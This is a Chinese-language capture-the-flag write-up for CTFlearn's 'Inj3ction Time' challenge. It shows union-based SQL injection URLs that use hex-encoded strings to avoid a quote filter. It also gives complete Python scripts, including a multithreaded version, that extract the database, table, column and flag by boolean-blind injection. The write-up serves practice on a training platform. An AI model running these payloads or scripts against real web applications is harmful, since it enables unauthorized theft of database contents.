0x00前言:

本题是国外的一个CTF平台的题目,题目不难,但学习了波多线程payload写法  

先看题目描述,提示"union是个有用的命令",估计是用联合查询就能出答案的(因为前面有道easy题也是联合查询出答案,因此我最先做题没看题干,以为要盲注...于是写了payload)

0x01正常解法:

正常解法很简单,最先用 1'or'1'='1的时候发现没有反应,用burpsuite的Intruder进行fuzz一下发现是整数型注入,并且 ' (单引号)被过滤掉了

于是用union测试,有1,2,3的回显

https://web.ctflearn.com/web8/?id=-1 union select 1,2,3,4%23

接下来继续查表,查字段,最终找flag

这里唯一一个要bypass的点在于单引号被过滤,因此常规字符串不行,于是用hex来表示字符串,可以不需要单引号

https://web.ctflearn.com/web8/?id=-1+union+select+1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7765626569676874%20),3,4%23

最后找到flag为 abctf{uni0n_1s_4_gr34t_c0mm4nd}

0x02多线程的payload:

因为寒假的怠慢,于是我也借这道题来写写脚本找找手感,于是也就顺便学习了下多线程的写法

首先常规套路的payload

import requests

url = "https://web.ctflearn.com/web8/index.php"
s = requests.session()
length = 0 def get_length():
global length
for i in range(0,100):
payload = url + "?id=-1||if((length((select database()))=" + str(i) + "),1,0)%23"
r = s.get(payload)
if("Saranac" in r.text):
length = i
break
print "length is :" + str(length) def get_text():
global length
flag = ""
for i in range(1,length + 1):
for j in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-=+,.{}':
payload = url + "?id=-1||if((substr((select database())," + str(i) + ",1)=" + str(hex(ord(j))) + "),1,0)%23"
r = s.get(payload)
if("Saranac" in r.text):
flag = flag + str(j)
print "flag is : " + flag
break
print "the final flag is : " + flag def main():
get_length()
get_text() if __name__ == '__main__':
main()

这里仅爆破了下数据库名

然后就是将其改造成多线程

因为第一次写多线程,所有从一步步说起

首先payload多线程要用到Threading模块,并且要使用队列,因此要导入进来

import threading
import Queue

然后线程工作的方式是申请一个threading.thread的类,然后用类中的start()方法启动,有多少个该类对象start()了,就有多少个线程在跑

申请类对象的方法

thread_count = 8
threads = []
for i in range(0, thread_count):
thread = TextThread(queue)
thread.start()
threads.append(thread) for thread in threads:
thread.join()

TextThread类是我继承了Threading.Thread的类名,之后会说到

thread_count是线程数

threads[]是存放线程对象的数组

thread=TextThread(queue) 实例化对象,带个参数,该参数为队列的对象

thread.start()启动线程

threads.append(thread)为将本次循环的线程添加到list里面去

thread.join()是等待所有线程结束后才会继续运行

对于爆破字符长度不太需要多线程共同完成,因为该题的字符长度最多30+,因此多线程处理的地方为爆破每个位置的字符

那么如何多个线程共同完成接近50个字符处理呢(因为mysql默认大小写不敏感,因此会出现W w这种2个字符都会正确的情况,因此我payload少写了大写字符)

考虑到最主要消耗时间的地方是s.get(payload)发送请求这段代码,因此for里面的字符压入队列消耗时间是很短的

所以基本思想是将每个测试的字符存入队列,每个线程发送了请求后,直接从队列里面拿下一个

这里就需要打造自己的类了,继承Threading.thread的类,重写构造方法和run()方法,run()方法即启动的时候线程该如何运行的方法

class TextThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.__queue = queue def run(self):
global text
queue = self.__queue
while not queue.empty():
info = queue.get()
num = info[0]
word = info[1]
payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
r = s.get(payload)
if("Saranac" in r.text):
text += word
print text

可以看到从构造方法__init__继承了父类的__init__方法,并额外获取了一个queue队列变量

run()方法

先获取队列方法

然后如果队列不为空,从队列里面取值进行赋值给num和word,进行发送

字符进入队列用一个for语句压入队列即可

for i in range(1, length + 1):
for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
queue.put([i,j])

最后的payload为

import requests
import Queue
import threading url = "https://web.ctflearn.com/web8/index.php"
s = requests.session()
text = "" def get_length():
for len in range(1,100):
print len
#get datbase
#payload = url + "?id=-1||if((length((select database()))=" + str(len) + "),1,0)%23"
#get table
#payload = url + "?id=-1||if((length((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874))=" + str(len) + "),1,0)%23"
#get column
#payload = url + "?id=-1||if((length((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 ))=" + str(len) + "),1,0)%23"
#get flag
payload = url + "?id=-1||if((length((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 ))=" + str(len) + "),1,0)%23"
r = s.get(payload)
if("Saranac" in r.text):
return len class TextThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.__queue = queue def run(self):
global text
queue = self.__queue
while not queue.empty():
info = queue.get()
num = info[0]
word = info[1]
#get databse webeight
#payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
#get table w0w_y0u_f0und_m3,webeight
#payload = url + "?id=-1||if((substr((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874)," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
#get column f0und_m3
#payload = url + "?id=-1||if((substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
#get flag
payload = url + "?id=-1||if((substr((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
r = s.get(payload)
if("Saranac" in r.text):
text += word
print text def get_text(length):
queue = Queue.Queue()
text = ""
for i in range(1, length + 1):
for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
queue.put([i,j]) thread_count = 8
threads = []
for i in range(0, thread_count):
thread = TextThread(queue)
thread.start()
threads.append(thread) for thread in threads:
thread.join() def main():
length = get_length()
print "the length is : " + str(length) get_text(length)
print "the text is " + text if __name__=='__main__':
main()

最先看菜鸟教程的时候其中讲到线程同步需要用锁来实现,但是如果在循环外面锁住,那么其实循环就只有一个线程在跑,如果在s.get(payload)的前后锁住,也只是一个线程在工作最主要耗费时间的地方,因此在最先学习的时候不知道到底如何加锁来达到同步,最后看了几篇文章后认为这里应该用队列完成

一直想着如何强行终止线程,但是发现python并没有给出方法,网上也有一些特殊的方法终止,但是有个说法是强行终止线程是个不正常的行为,因此也就没有写的更加复杂来强行终止来达到更快的速度

参考链接:https://www.cnblogs.com/ichunqiu/p/6508698.html       

     http://www.runoob.com/python/python-multithreading.html

CTFlearn Inj3ction Time --sql注入python多线程脚本练习的更多相关文章

  1. SQL注入不简单?那是你没有懂它的原理~

    我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...

  2. mysql防SQL注入搜集

    SQL注入 例:脚本逻辑 $sql = "SELECT * FROM user WHERE userid = $_GET[userid] "; 案例1:SELECT * FROM ...

  3. python 打造一个sql注入脚本 (一)

    0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...

  4. phpcms v9 sql注入脚本

    phpcms v9 SQL注入脚本 用法:python phpcms.py http://www.baidu.com import requests,sys,urllib url = sys.argv ...

  5. Python中防止sql注入的方法详解

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库.下面这篇文章主要给大家介绍了关于Python中 ...

  6. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  7. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  8. django系列5.4--ORM中执行原生SQL语句, Python脚本中调用django环境

    ORM执行原生sql语句 在模型查询API不够用的情况下,我们还可以使用原始的SQL语句进行查询. Django 提供两种方法使用原始SQL进行查询:一种是使用raw()方法,进行原始SQL查询并返回 ...

  9. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

随机推荐

  1. npm快捷键

    一.npm基本快捷键 node -v查看安装的nodejs版本,出现版本号,说明刚刚已正确安装nodejs.PS:未能出现版本号,请尝试注销电脑重试: npm -v查看npm的版本号,npm是在安装n ...

  2. jquery筛选数组之grep、each、inArray、map的用法及遍历son对象(转)

    grep [传入的参数为返回bool类型的函数] <script type='text/javascript' src="/jquery.js"></script ...

  3. windows上python上传下载文件到linux服务器指定路径【转】

    从windows上传文件到linux,目录下的文件夹自动创建 #!/usr/bin/env python # coding: utf-8 import paramiko import datetime ...

  4. tomcat配置文件context.xml和server.xml分析

    在tomcat 5.5之前Context体现在/conf/server.xml中的Host里的<Context>元素,它由Context接口定义.每个<Context元素代表了运行在 ...

  5. eclipse里访问tomcat首页出现404错误解决之法

    首先,添加Tomcat.在菜单栏找到Window—Preferences—Server—Runtime Environments—Add—Apache—选择Tomcat版本—找到Tomcat文件的路径 ...

  6. php封装的sqlite操作类

    sqlite在php中是默认安装的本地小型化数据库,类似于xml的小型数据库,但sqlite功能更强. sqlite.class.php文件: <?php class sqliteDB{ pri ...

  7. ansible的安装部署及简单应用

    Ansible 是一个配置管理和应用部署工具,功能类似于目前业界的配置管理工具 Chef,Puppet,Saltstack.Ansible 是通过 Python 语言开发.Ansible 平台由 Mi ...

  8. 在jsp页面,将小数转换为百分比

    <fmt:formatNumber type="number" value="${temp.illegalCount*100/temp.unitCount}&quo ...

  9. servlet请求中的信息

    在servlet中HttpServeltRequest中有一个方法getRequestURL() 假如我们平常输入的地址是:localhost/Demo1/TestServlet?hello=worl ...

  10. 移植BOA服务器到开发板

    移植BOA 服务器到GEC210 开发板 开发平台主机:VMWare--Ubuntu 10.04 LTS开发板:GEC210 / linux-2.6.35.7编译器:arm-linux-gcc-4.5 ...